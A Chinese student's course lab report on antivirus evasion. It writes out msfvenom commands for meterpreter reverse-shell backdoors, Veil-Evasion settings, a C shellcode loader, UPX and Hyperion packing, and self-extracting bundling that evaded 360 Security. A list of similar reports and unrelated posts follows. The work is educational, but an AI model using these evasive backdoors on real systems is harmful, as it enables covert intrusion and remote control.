【实验内容】

1.1 正确使用msf编码器(0.5分),msfvenom生成如jar之类的其他文件(0.5分),veil-evasion(0.5分),加壳工具(0.5分),使用shellcode编程(1分)

1.2 通过组合应用各种技术实现恶意代码免杀(0.5分)(如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。)

1.3 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本(加分0.5)

[part.1]使用msf编码器生成后门程序及检测

首先将实验二中用msfvenom生成的后门程序4319_backdoor.exe放入virscan.org进行检测,发现报毒(这是肯定的了,毕竟这个后门程序没有施加任何免杀措施)

接下来我们试试用msfvenom编码十次(当然首先先查一下linux的ip)

然后编码十次,生成文件encode_4319.exe('-e'编码,'-i'指定编码个数为10次)

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' -i  LHOST=192.168.64.134 LPORT= -f exe > encode_4319.exe

检测结果,还是没多少差别,事实证明,编码并没有太大作用

[part.2]msfvenom生成jar等其他文件

①msfvenom生成jar文件

键入命令,生成4319_backdoor.jar文件,并检测结果

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.64.134 LPORT= x > 4319_backdoor.jar

②msfvenom生成apk文件

键入命令,生成4319_backdoor.apk文件,并检测结果

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.64.134 lport= x> 4319_backdoor.apk

(报毒率低了很多,但是还是有几款软件报毒)

msfvenom生成shellcode

使用Veil-Evasion,首先安装Veil

安装好了之后运行一直出问题

安装完成后,输入 use1 进入Veil-Evasion

'list'看一下可用载荷

设置主机IP、端口号

set LHOST 192.168.64.134

set LPORT 

用C语言生成payload

use c/meterpreter/rev_tcp.py

然后起个名字为4319

然后检测一下

[part.3]C语言调用shellcode

生成C语言格式的shellcode数组

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.64.134 LPORT= -f c

用上述数组生成文件4319shellcode.c,进入编辑模式('c'),然后将刚刚生成的shellcode数组复制到该文件中

vim 4319shellcode.c

再加上一个主函数,编辑完键入':wq'保存并退出

int main()
{
int (*func)() = (int(*)())buf;
func();
}

编译生成可执行文件

i686-w64-mingw32-g++ 4319shellcode.c -o 4319shellcode.exe

中间因为插入的主函数显示编译问题,所以编译成可执行文件的时候报错了好几次,好在最后成功了,下面V放到irScan检测一下

好像报毒率稍微小一点了,然后将之前的半手工打造的shellcode复制命名为4319ms.exe

cp 4319shellcode.exe 4319ms.exe

然后进行加壳

upx 4319ms.exe -o 4319_upx.exe

然后检测一下

(居然报毒率还上升了一点??)

那么再进行加密壳Hyperion,首先将文件拷在/usr/share/windows-binaries/hyperion/文件目录中,然后进入目录

cd /usr/share/windows-binaries/hyperion/

wine hyperion.exe -v 4319_upx.exe 4319_Hyperion.exe

一开始我的wine出了点问题

那就按照指示重新安装一下吧

然后再试一下,成功生成加密壳文件4319_Hyperion.exe

照常检测一下

(报毒率更高了)

shellcode变形实现恶意代码免杀

①shellcode+UPX加壳实现免杀

我用的是360安全卫士,首先把两个文件同时传到桌面

一个是未加壳的4319shellcode.exe,另一个是加了壳的4319_upx.exe,查杀结果为

未加壳的4319shellcode.exe被检测出来了,但是加了壳的4319_upx.exe没有被检测出来,证明加壳确实能躲过某些查杀软件的查杀。

②组合方式免杀

将上次被360查出来的文件4319shellcode.exe和文件夹捆绑压缩,设置自解压参数

然后压缩为免杀.exe的文件,再次用360扫描一下看看

这次没有被360查出来,证明捆绑组合方式有时候也是可以躲过杀毒软件的查杀的。

[part.4]用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

被控机:win10实体,装有360安全卫士最新版,IP地址为192.168.75.1

控制机:kali-2019,IP地址为192.168.64.134

360版本号为:11(11.5.0.1003)

【心得体会】

本次实验使我掌握了msfvenom指令和veil的使用方法,大致上了解了生成后台文件和几种免杀方法。也认识到了杀毒软件对于恶意软件的检测是依赖于它现有的病毒库和对程序意图的判断,有时候并不能做到完全排除恶意软件,免杀技术对于我们的隐私安全来讲是值得思考和研究的,但是反过来,当我们站在攻击者的角度思考问题的时候也不能忘记从相反的方向考虑如何防范问题。对于免杀的组合技术和加壳技术有了大致的理解,但是对于程序实际上是如何在后台运行的具体过程和它实际上是如何绕过杀毒软件的查杀的没有办法清楚的明确,这也是很多同学争论的地方(上述免杀方法又是否是一个长期和永久的操作也未可知),实验过程中出现的思考和疑问值得我们去深入探究和交流,这也是本次实验最大的收获之一。

20164319 刘蕴哲 Exp3 免杀原理与实践的更多相关文章

  1. 20165101刘天野 2018-2019-2《网络对抗技术》Exp3 免杀原理与实践

    20165101刘天野 2018-2019-2<网络对抗技术>Exp3 免杀原理与实践 1. 实践内容 1.1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil- ...

  2. Exp3 免杀原理与实践 20164321 王君陶

    Exp3 免杀原理与实践 20164321 王君陶 1实验要求 1.1 正确使用msf编码器(0.5分),msfvenom生成如jar之类的其他文件(0.5分),veil-evasion(0.5分), ...

  3. 2018-2019-2 20165114《网络对抗技术》Exp3 免杀原理与实践

    Exp3 免杀原理与实践 目录 一.实验内容 二.基础问题回答 (1)杀软是如何检测出恶意代码的? (2)免杀是做什么? (3)免杀的基本方法有哪些? 三.实践过程记录 正确使用msf编码器,msfv ...

  4. 2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践 免杀原理及基础问题回答 一.免杀原理 一般是对恶意软件做处理,让它不被杀毒软件所检测.也是渗透测试中需要使用到的技术. ...

  5. 2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践 一.实践目标 1.1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳 ...

  6. 2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 主要依托三种恶意软件检测机制. 基于特征码的检测:一段特征码就是一段或者多 ...

  7. 2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践 实验内容(概要) 一.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...

  8. 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践

    - 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践 - 实验任务 1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...

  9. 2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践

    2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 1.对某个文件的特征码进行分析,(特征码就是一类恶意文件中经常出现的一段代 ...

随机推荐

  1. 《深度探索C++对象模型》读书笔记(二)

    第三章:Data语意学 这一章主要讲了类中的数据在内存中是如何分配的,包括(多重)继承和多态. 让我们首先从一段代码开始: class X{}; class Y :virtual public X{} ...

  2. 如何快速扫描C段(网站快照、后台识别/登录、目录扫描)

    1.C段扫描 C类地址范围从 192.0.0.1 到 223.255.255.254 ,192转换成二进制就是1100000:223转换成二进制就是1101111:所以说网络地址的最高位肯定是110开 ...

  3. js原生倒计时

    倒计时是2019年6月7号10点开始的 代码粘贴过去直接运行即可 <!DOCTYPE html> <html lang="en"> <head> ...

  4. 2018-2019-2 20165205 Exp2 后门原理与实践

    20165205 Exp2 后门原理与实践 实验内容 一.基础问题回答 列举你能想到的一个后门进入到你系统中的可能方式 下载盗版软件.操作系统 当然正版软件里可能也有编写者安装的后门 不在官方更新软件 ...

  5. 记一次使用getRequestDispatcher遇到的坑。。响应页面出现新建下载任务

    getRequestDispatcher RequestDispatcher接口提供将请求转发送到另一个资源的功能,它可能是html,servlet或jsp等. 此接口也可用于包括另一资源的内容.它是 ...

  6. MySQL使用LOAD DATA LOCAL INFILE报错

    在windows系统的MySQL8.0中尝试执行以下语句时报错 mysql> LOAD DATA LOCAL INFILE '/path/filename' INTO TABLE tablena ...

  7. oracle出现sga导致ORA-00821 ORA-00093报错解决办法

    本问题在linux环境下,windows环境下类似. 问题描述: 在数据库操作时不小心修改了share_pool的大小,导致重启数据库无法正常启动,报错为: SQL>startup; ORA-: ...

  8. JConsole监控Linux上的Tomcat

    JConsole监控Linux上的Tomcat 从Java 5开始引入了 JConsole,来监控 Java 应用程序性能和跟踪 Java 中的代码.jconsole是JDK自带监控工具,只需要找到 ...

  9. js基本知识

    1.js中的数据类型: js中的数据类型有undefined,boolean,number,string,object等5种,前4种为原始类型,第5种为引用类型. 2.typeof 返回的是字符串,有 ...

  10. 嵌入式linux——时钟(三)

    今天写第一篇,S3C2440的时钟,配置好时钟系统,各个模块才能正常有效的工作,为了了解始终系统,必须要阅读芯片手册,尽量看英文版的,这样还能捎带着增加一下阅读英语计数文档的能力. 概览 在2440数 ...